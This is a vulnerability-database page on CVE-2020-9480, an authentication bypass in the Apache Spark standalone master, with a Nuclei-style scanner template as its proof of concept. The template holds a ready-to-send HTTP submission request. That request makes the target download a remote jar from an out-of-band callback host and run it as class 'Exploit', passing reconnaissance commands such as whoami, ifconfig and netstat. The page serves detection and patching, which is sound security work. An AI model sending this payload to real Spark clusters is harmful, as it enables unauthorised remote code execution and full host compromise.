CVE-2020-9480: Apache Spark - Authentication Bypass

2025-08-01 Apache Spark PoC Public

Description

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).

PoC

id: CVE-2020-9480

info:
  name: Apache Spark - Authentication Bypass
  author: riteshs4hu
  severity: critical
  description: |
    In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).
  impact: |
    Attackers can execute arbitrary shell commands on the host machine, leading to full system compromise.
  remediation: |
    Update to Spark 2.4.6 or later to fix the vulnerability.
  reference:
    - https://github.com/XiaoShaYu617/CVE-2020-9480/blob/main/20220624_apache_spark_apache_spark_pre-auth_code_execution_cve-2020-9480.py
    - https://nvd.nist.gov/vuln/detail/cve-2020-9480
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9480
    epss-score: 0.2937
    epss-percentile: 0.98082
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: spark
    fofa-query: port="6066" && banner="Spark Master"
  tags: cve,cve2020,apache,spark,auth-bypass,vkev,vuln

variables:
  url: "http://{{interactsh-url}}/{{rand_text_alpha(5)}}.jar"

http:
  - raw:
      - |
        POST /v1/submissions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "action": "CreateSubmissionRequest",
          "clientSparkVersion": "2.3.1",
          "appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],
          "appResource": "{{url}}",
          "environmentVariables": {"SPARK_ENV_LOADED":"1"},
          "mainClass": "Exploit",
          "sparkProperties": {
            "spark.jars": "{{url}}",
            "spark.driver.supervise": "false",
            "spark.app.name": "Exploit",
            "spark.eventLog.enabled": "true",
            "spark.submit.deployMode": "cluster",
            "spark.master": "spark://{{Hostname}}:6066"
          }
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - "contains(interactsh_protocol, 'http')"
          - 'contains(body, "CreateSubmissionResponse")'
          - 'contains_any(body, "submissionId", "driverState")'
        condition: and

    extractors:
      - type: regex
        name: submission-id
        regex:
          - '"submissionId"\s*:\s*"([^"]+)"'
          - '"driverState"\s*:\s*"([^"]+)"'
# digest: 4a0a00473045022100bf01be737005a4f1c5f24c3016ef8fdf04133e7422ef121331c0371b4305c2ec0220026074b718cb2334e46a8fb17a18309f96ff8fca92dd3c066d6e17b82a081fdb:922c64590222798bb761d5b6d8e72950

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References

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